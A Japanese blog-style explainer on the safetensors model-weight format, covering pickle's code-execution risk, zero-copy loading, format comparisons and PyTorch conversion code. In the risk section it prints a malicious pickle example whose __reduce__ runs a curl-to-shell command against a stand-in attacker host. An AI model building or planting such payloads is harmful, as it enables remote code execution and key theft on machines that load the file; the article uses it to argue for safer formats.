safetensorsの最大の利点は、モデルを読み込む際に悪意のあるコードが勝手に実行される危険を仕組みから防げる点です。外部から入手したモデルを動かすとき、安全面に不安を感じる場面はありませんか。

公開リポジトリから重みファイルをダウンロードして動かす行為は、今や開発現場の日常です。しかし、従来の形式には重大な落とし穴が存在しました。

ファイルを開いた瞬間に端末を乗っ取られるリスクを放置したままでは、安全な開発体制を築けません。安全と速度を両立する新形式の全容を整理します。


safetensorsとは?開発された背景と従来の課題

safetensorsとは?開発された背景と従来の課題

safetensorsとは、機械学習モデルの重みデータを安全かつ高速に保存・読み込みするためのファイル形式です。

オープンソースコミュニティのHugging Faceが中心となって設計しました。現在はPyTorch Foundationのガバナンス下で管理が進んでいます。

誕生の背景には、従来のPyTorchが採用していたファイル形式(.ptや.bin)の深刻なセキュリティ問題がありました。これらの旧形式は、Pythonの標準機能であるpickleを土台にしています。

pickleは機械学習のデータだけでなく、Pythonのプログラムコードそのものを保存できる仕様でした。この仕組みが悪用され、モデル共有サイトを通じて攻撃用ファイルを配布する事件が世界中で相次ぎました。

モデルファイルを読み込んだだけで、外部サーバーへ秘密鍵を送信する攻撃コードが裏で動く事態が現実に起きています。社内ネットワーク全体が危険に晒されるリスクは無視できません。

企業のAI導入におけるリスク管理は急務です。社内規定の整備や脆弱性対策については保育AI導入で絶対NGな行為7選個人情報・著作権・法令の落とし穴と回避策でも触れている通り、ツールの選定段階から安全性を担保する視点が欠かせません。

セキュリティの懸念が高まる中、危険なコードを一切含められない新しい器として作られた規格がsafetensorsです。安全面だけでなく読み込み速度の大幅な向上も果たしたため、瞬く間に業界標準の地位を確立しました。

【従来の保存ファイル(pickle)】
[ モデルの重みデータ ] + [ 自由なPythonコード(攻撃命令が混入可能) ]
   ↓ torch.load() で読み込み
 システム内で任意のプログラムが自動実行されてしまう

【safetensorsファイル】
[ JSONヘッダー(形状情報) ] + [ 純粋な数値バイト列 ]
   ↓ load_file() で読み込み
 静的な数値データしか存在しないため、プログラムが動く余地がない

この安全なデータ構造こそが、safetensorsの根幹を支える仕組みです。


編集部のおすすめ

声で文章を入れる、写真を整える、資料を作る。よく使われる作業ごとに1本ずつ選んでいます。

従来のPyTorch保存形式が抱えていたセキュリティリスク

従来のPyTorch保存形式が抱えていたセキュリティリスク

PyTorchで長年使われてきた標準保存形式は、Pythonのpickleモジュールに依存していました。

pickleはPythonオブジェクトをそのままシリアライズ(直列化)して復元するための仕組みです。関数の定義やクラスのインスタンス情報まで丸ごと保存できます。柔軟性が高い反面、セキュリティの壁が全く存在しません。

pickleファイルの中に特殊な命令を書き込んでおくと、復元処理を実行した瞬間に任意のPython関数を呼び出せます。OSコマンドの実行も可能です。

# pickleの仕組みを悪用した不正コードの概念例
import pickle
import os

class MaliciousPayload:
    def __reduce__(self):
        # 復元時にOSコマンドが自動実行される
        return (os.system, ("curl -s https://attacker.example.com/steal_keys | sh",))

# このデータを保存して他人に読み込ませると被害が発生する
payload = MaliciousPayload()
with open("checkpoint.bin", "wb") as f:
    pickle.dump(payload, f)

この攻撃手法は「任意コード実行(RCE)」と呼ばれます。危険な点は、ユーザーが意図してスクリプトを走らせていなくても、torch.load()で重みを開いただけで攻撃が完了する点です。

管理者権限で実行していた場合、サーバーの乗っ取りやクラウドの認証情報の窃取に直結します。開発現場における脆弱性の診断や監視体制については、Flatt Security完全ガイド2026|AI脆弱性診断の料金・使い方・始め方でも対策の重要性が詳しく解説されています。

Hugging Faceのような共有プラットフォームでは、毎日膨大なモデルがアップロードされます。何者かが紛れ込ませた不正モデルをダウンロードして実行してしまう事故は、現実の脅威でした。

Pythonの公式ドキュメントにも「信頼できない出所のpickleデータは決して復元してはならない」と明記されています。機械学習モデルの配布形式にpickleを採用し続けること自体が、破綻を抱えていたと言わざるを得ません。


safetensorsの利点1:任意コード実行を防ぐ構造設計

safetensorsが提供する第1の利点は、不正なコードが絶対に紛れ込まないファイル構造です。

ファイルの構造を極限までシンプルに保つ方針を採っています。内部に含まれるデータは、先頭の「JSON形式のメタデータ」と、それに続く「純粋な数値バイナリ列」の2系統だけです。

実行可能なプログラムコードやPythonのオブジェクト構造は、ファイル内に1バイトも保持できません。データ解析器が読み取るのは、テンソルの名前・データ型・配列の形状・ファイル内の開始位置と終了位置だけです。

+-------------------------------------------------------+
| 8バイト整数: ヘッダー長 (N)                            |
+-------------------------------------------------------+
| NバイトのUTF-8文字列: JSONメタデータ                   |
| {                                                     |
|   "weight1": {"dtype": "F16", "shape": [768, 768],    |
|               "data_offsets": [0, 1179648]}           |
| }                                                     |
+-------------------------------------------------------+
| バッファ領域: 生のバイナリ数値データ                  |
| (浮動小数点数の並びが連続して格納される)              |
+-------------------------------------------------------+

この仕様により、ローダー側で複雑なインタプリタ処理を行う必要がなくなりました。パーサーはJSONヘッダーを読み取り、指定されたバイト範囲をメモリ上にそのまま展開する処理だけを担います。

コードを実行する機能そのものが存在しない設計です。攻撃者がスクリプトを混入させようとしても、構文エラーとして即座に弾かれます。

出所が不明な公開モデルであっても、safetensors形式であればファイル読み込み時の乗っ取りを確実に防げます。社内セキュリティポリシーの観点からも、安全性が客観的に証明された形式を選ぶ価値は絶大です。

情報漏洩対策やプライバシー保護の観点では、ChatGPTの個人情報リスク5つと学習させない設定手順、安全に使うコツで論じられている基本設定と同様に、インフラ層での堅牢な選択が基盤となります。


今週のAIニュースを週1回メールで受け取る無料

毎週月曜の朝に、今週のAIの主なニュース・新しく載ったツール・よく読まれた記事をまとめて届けます。登録特典は「AIツール選定チェックリスト 2026」。

確認メールのボタンを押すと登録が完了します。配信はいつでも解除できます。

safetensorsの利点2:ゼロコピーとメモリマッピングによる読み込み速度

safetensorsの第2の利点は、大規模なモデルでも瞬時に読み込める転送効率の高さです。

従来のpickle形式では、ディスクから読み出したバイナリを一度メモリに展開し、Pythonのオブジェクトへ変換する多段階の処理を踏んでいました。この工程でCPUに大きな負荷がかかり、無駄なメモリコピーが何度も発生します。

safetensorsはこの無駄を排除するために、OSの「メモリマッピング(mmap)」機能を全面活用しています。ファイルをディスクから直接仮想メモリ空間へ紐付ける技術です。

データをメモリからメモリへと複製する工程を挟まないため、この仕組みを「ゼロコピー」と呼びます。ディスク上にある数値配列の並びが、GPUやRAMが必要とするメモリレイアウトと完全に一致しているからこそ実現できる芸当です。

この高速化が威力を発揮する場面は多岐にわたります。

  • 数十GBを超える巨大モデルをGPUメモリへ直接ロードするとき
  • サーバーの再起動時に素早く推論サービスを復旧させたいとき
  • 複数プロセス間で同一のモデル重みを共有し、RAMの浪費を抑えたいとき

無駄な中間バッファを生成しないため、モデル読み込み時のメモリ消費スパイクが起きません。ホストマシンの物理メモリがモデルサイズと同程度しかない環境でも、クラッシュせずにロードを完了できます。

重みの一部だけをピンポイントで取り出す「遅延読み込み(Lazy loading)」も容易です。特定のレイヤーだけを検査したい場合、ファイル全体を読み込む無駄が発生しません。


safetensorsの利点3:フレームワークに依存しない相互運用性

第3の利点は、PyTorch以外の多様な言語やフレームワークからも直接扱えるポータビリティの高さです。

pickle形式で保存されたファイルは、Python環境でしか読み込めません。C++やRustで書かれた本番環境で動かそうとすると、Pythonランタイムを呼び出すか、別形式へ変換する二度手間が発生していました。

safetensorsは言語やライブラリの壁を取り払います。メタデータが標準的なJSONであり、重み本体が生の数値バイナリであるため、どんなプログラミング言語からでも簡単にパースできます。

Rustで書かれた公式パーサーをはじめ、C++、Go、JavaScriptなど多彩な環境向けの実装が揃っています。Webブラウザ上で稼働するWebGPU環境や、エッジデバイス向けの軽量ランタイムでも直接ロードが可能です。

フレームワーク間の垣根も低くなりました。同じsafetensorsファイルを、PyTorchでも、TensorFlowでも、JAX/Flaxでもそのまま読み取れます。

# PyTorchでの読み込み
from safetensors.torch import load_file as torch_load
tensors_pt = torch_load("model.safetensors")

# TensorFlowでの読み込み
from safetensors.tensorflow import load_file as tf_load
tensors_tf = tf_load("model.safetensors")

# Flax(JAX)での読み込み
from safetensors.flax import load_file as flax_load
tensors_flax = flax_load("model.safetensors")

学習フェーズはPythonのPyTorchで行い、推論サーバーの本番配備はC++やRustの高速エンジンに切り替える運用がスムーズに完結します。フォーマット変換に伴う精度の劣化や変換バグのトラブルから解放されるメリットは強力です。

チーム開発やマルチプラットフォーム展開を進める開発組織にとって、保存形式の一元化は大きな恩恵をもたらします。


pickle形式と主要フォーマットの徹底比較

機械学習モデルの保存には、これまで複数のフォーマットが乱立していました。それぞれの形式が持つ特徴を正しく把握することが重要です。

次の表は、代表的なモデル保存形式の仕様と安全性を比較した一覧です。

フォーマット安全性(任意コード防止)ゼロコピー読込遅延読込ファイルサイズ制限対応言語の広さ主な用途
safetensors確実(静的パース)対応対応なし広い(Rust/C++/Py等)学習・推論・配布
pickle (.pt/.bin)危険(RCE脆弱性あり)非対応非対応なしPython限定旧PyTorch標準
HDF5 (.h5)安全(データのみ)非対応対応なし広い(C/C++/Python)旧TensorFlow/Keras
ONNX (.onnx)安全(静的グラフ)一部対応非対応2GB制限(外部保存要)広い(クロスランタイム)推論エンジン連携
GGUF (.gguf)安全(バイナリ構造)対応対応なし主にC/C++(llama.cpp)ローカル量子化推論

つまり、safetensorsはセキュリティ上の懸念を排除しつつ、読み込み効率と柔軟性を最高水準で両立させた形式です。

旧来のpickleは柔軟性と引き換えにセキュリティを完全に放棄していました。HDF5は複雑な仕様とライブラリ依存の重さが敬遠され、ONNXは推論専用の計算グラフ保持が主目的であるため重みの純粋な配布形式としては扱いづらさが残ります。

safetensorsは余計な機能を削ぎ落とし、テンソルの安全な保持に特化したことで開発者の支持を獲得しました。現在Hugging Faceのリポジトリ上に存在する数百万件のモデルの多くが、safetensors形式での配信を基本としています。

安全対策を後回しにすると、予期せぬ事故を招きます。ツールやデータ形式の選定におけるリスク評価については、メローズアプリの危険性と安全性|トラブル事例から防ぐ3つの注意点 (2026年版)でも取り上げられているように、早期の安全確認がトラブル回避の鉄則です。


ここまでの整理: safetensorsの基本骨格

  • safetensorsは実行コードを含まない構造により、開くだけで端末を乗っ取られる危険性を完全に断ち切った形式です。
  • メモリマッピングによるゼロコピー転送を活かし、大容量モデルの起動待ち時間と余分なRAM消費を激減させます。
  • Pythonに縛られず、C++やRustなど多様な本番環境で同じ重みファイルをそのまま共有可能です。

safetensorsとGGUFはどう使い分けるべきか?

AIモデルを扱う現場では、safetensorsと並んで「GGUF」という名前を頻繁に目にします。どちらを使うべきか迷う開発者も少なくありません。

両者は対立する規格ではなく、活躍する目的と実行環境が明確に分かれています。

次の表は、safetensorsとGGUFの役割と適した環境を比較した一覧です。

比較項目safetensorsGGUF
開発主導Hugging Face / PyTorchGeorgi Gerganov(llama.cpp開発陣)
主な用途学習・ファインチューニング・GPU推論量子化による軽量化・ローカルCPU/GPU推論
ファイル内容純粋なモデル重みとメタデータ重み・語彙(Tokenizer)・プロンプト設定
主要フレームワークPyTorch / Transformers / vLLM / TGIllama.cpp / Ollama / LM Studio
量子化の扱いFP32 / BF16 / FP16 / FP8が主体2bit〜8bitの独自量子化(Q4_K_M等)が主体
自己完結性分割設定ファイル(config.json)が必要1ファイルでモデル全体が自己完結

つまり、サーバー上で高精度の学習や本格的なGPU配信を行うならsafetensors、個人PCやエッジ端末で手軽にローカル推論を動かすならGGUFを選ぶのが最適な住み分けです。

GGUFは、量子化された重みとトークナイザー情報が1つのファイルに全部詰まっています。ファイルを1個ダウンロードするだけで、llama.cppやOllamaを使って即座に対話AIを動かせる手軽さが売りです。

一方のsafetensorsは、オリジナルの精度(16bit浮動小数点数など)を崩さずに保持する用途に向いています。vLLMなどの高性能推論サーバーで複数GPUに分散配置して高速配信する現場では、safetensors形式がデファクトスタンダードです。

クラウド上で自社サービスを構築するならsafetensorsで重みを管理し、社内検証用にMacやWindowsで手早く動かしたいならGGUF形式を活用する運用が無理のない設計といえます。

システム全体の設計やツール連携を検討する際は、AI議事録の法人導入ガイド|セキュリティ要件と選定チェックリスト(2026年版)でも解説されているような、用途に応じた要件定義が成功の鍵を握ります。


PyTorchモデルをsafetensorsへ変換する具体的な手順

手元にある.ptや.bin形式のモデルをsafetensors形式へ移行する手順は単純です。

専用のPythonライブラリsafetensorsが公式に提供されており、数行の処理で安全なファイルへと書き換えられます。変換用の環境を整えるところから進めます。

1. ライブラリのインストール

まずはターミナルから必要なパッケージを導入します。

pip install safetensors torch

すでにTransformersを利用している環境なら、safetensorsは依存関係として導入済みの場合が多いです。

2. PyTorchテンソルの保存と読み込み

辞書形式で保持されたテンソルデータを保存・復元する基本コードです。

import torch
from safetensors.torch import save_file, load_file

# 保存したい重み辞書を作成
tensors = {
    "embedding": torch.randn(1000, 128),
    "dense_weight": torch.randn(128, 64),
    "dense_bias": torch.zeros(64),
}

# safetensors形式でディスクに保存
save_file(tensors, "my_model.safetensors")

# 保存したファイルを読み込み
loaded_tensors = load_file("my_model.safetensors")
print(loaded_tensors["dense_weight"].shape)  # torch.Size([128, 64])

save_fileとload_fileを使うだけで、安全なファイル出力とゼロコピー読み込みが行われます。複雑な設定は一切不要です。

3. 既存のPyTorchモデル(nn.Module)を丸ごと変換する

学習済みのnn.Moduleインスタンスからstate_dictを取り出して変換する処理も簡単に記述できます。

import torch
from safetensors.torch import save_model, load_model
import torchvision.models as models

# 既存のモデルを読み込み
model = models.resnet18(weights=None)

# モデルの全パラメータをsafetensorsとして保存
save_model(model, "resnet18.safetensors")

# 新しいモデルインスタンスへ重みを安全にロード
new_model = models.resnet18(weights=None)
load_model(new_model, "resnet18.safetensors")

load_model関数を使えば、モデルのパラメータ構造と照合しながら直接インプレースで重みを注入できます。メモリの消費を最小限に抑えつつ、安全な読み込みが完了します。


開発現場でsafetensorsを導入する際の注意点

safetensorsは優れた利点を持ちますが、導入時に留意すべき制限事項も存在します。

思わぬトラブルを避けるために、仕様上の制約を正しく把握しておく必要があります。

次の表は、safetensorsの導入時に確認すべき主な注意点と対策をまとめた一覧です。

注意すべき項目発生する現象推奨される対策
非テンソルデータの保存文字列や辞書などの任意変数を保存できない設定情報は別途config.jsonとして外出しする
共有メモリテンソル同じメモリ領域を共有する重みがあると保存に失敗する重複参照を解除するか明示的にクローンを作成する
古いライブラリ環境旧バージョンのツールで開けない場合がある実行環境のTransformersやTorchを最新版へ更新する
巨大モデルの単一化単一ファイルが数十GBになると転送エラーが起きやすいsave_sharded関数を使ってファイルを小分けに分割する

つまり、safetensorsは純粋なテンソルデータ専用の器であるため、設定値の分離とファイル分割の配慮が欠かせません。

最大の落とし穴は、モデルのアーキテクチャ定義やハイパーパラメータを同一ファイル内に詰め込めない点です。pickleのように「モデルのPythonクラス情報ごと1ファイルに固める」使い方は意図的に封じられています。

そのため、Hugging Faceのエコシステムでは、重み本体をmodel.safetensorsに保存し、モデルの構造や設定値はテキスト形式のconfig.jsonとして別ファイルに分けて配布します。この役割分担が徹底されているからこそ、安全性が維持される仕組みです。

また、同一モデル内で同一の重みテンソルが異なるレイヤーから共有されている場合、デフォルトではエラーを返します。意図したメモリ共有であれば引数で明示的に許可を与える必要があります。

安全なデータパイプラインを設計する際は、保存形式の仕様を理解したうえで適切なファイル構成を組むことが不可欠です。


AI PICKS編集部の判定

公開モデルを扱うすべての開発現場において、保存形式をsafetensorsへ移行する選択は一択です。

セキュリティ上の防御策として、pickleを排除する方針に迷う余地はありません。どれほど高性能なモデルであっても、読み込むだけでサーバー侵害のリスクを抱え込む旧形式は、本番環境の運用において正直イマイチです。

ゼロコピーによる読み込み性能の向上も、実運用において圧倒的な恩恵をもたらします。巨大なLLMや画像生成モデルをGPUへ配置する待ち時間が削れる効果は、開発効率を直接押し上げます。

設定ファイルが別出しになる点は初見で手間に感じる場合もありますが、データの透明性を確保できる意味でむしろ重宝します。今から新たなモデルを保存・配布するのであれば、safetensors以外の選択肢を検討する理由は見当たりません。


よくある質問(FAQ)

Q. safetensorsを使えば学習の精度は向上しますか?

精度そのものが変わることはありません。

safetensorsはモデルの重み数値をそのまま保存・復元するコンテナです。数値自体の丸め誤差や精度の低下は発生せず、保存前と完全に同一のパラメータが復元されます。変わるのは読み込みにかかる速度とメモリ効率、そしてセキュリティの安全性です。

Q. 古いPyTorchで作成された.binファイルは開けなくなりますか?

直ちに開けなくなるわけではありません。

PyTorchのtorch.load()を使えば、過去の.binや.ptファイルも引き続き読み込めます。ただし、前述の通りpickleのセキュリティリスクを抱えたままの読み込みになります。信頼できない外部配布のファイルである場合は、安全な隔離環境でsafetensorsへ変換してから利用する手順を強く推奨します。

Q. safetensorsファイル単体でモデルの推論は実行できますか?

単体では実行できません。

safetensorsファイルに保存されているのは純粋な重み数値だけです。どのようなニューラルネットワーク構造で計算を行うかという「アーキテクチャ定義コード」や「設定情報(config.json)」が別途必要になります。プログラム側でモデルの形状を定義した上で、重みを流し込む形で使用します。

Q. Hugging Face以外の環境でもsafetensorsは利用できますか?

問題なく利用できます。

safetensorsはスタンドアローンのオープンソースライブラリとして公開されています。Hugging FaceのHubを経由せず、社内のプライベートストレージやローカル環境だけで保存・読み込みを行うパイプラインでも自由に使えます。

Q. safetensors形式のファイルを編集・結合することは可能ですか?

専用のコードを書くことで可能です。

Python環境で一度辞書として読み出し、特定のテンソルを削除・置換・追加した上で、再度save_file()を呼び出せば簡単に再構築できます。LoRA(追加学習の重み)をベースモデルに統合して1つのファイルへまとめ直す作業なども、手軽に記述できます。


あわせて見たいツール・カテゴリ

AI開発の安全性を高め、効率的な環境を整えたいなら、関連するカテゴリやツールの動向も押さえておくと選択の幅が広がります。

次に読むならこれ

モデルのファイル形式を整えた後は、AIシステム全体を保護する実践的なセキュリティ対策を深めましょう。Flatt Security完全ガイド2026|AI脆弱性診断の料金・使い方・始め方を読むと、Webアプリケーションや機械学習パイプライン全体を外部攻撃から守る具体的な手順がよく分かります。


参考にした一次情報

記事の事実関係は、次の公式ページで確認しています。仕様や料金は変わることがあるため、最新の内容は各ページで確かめてください。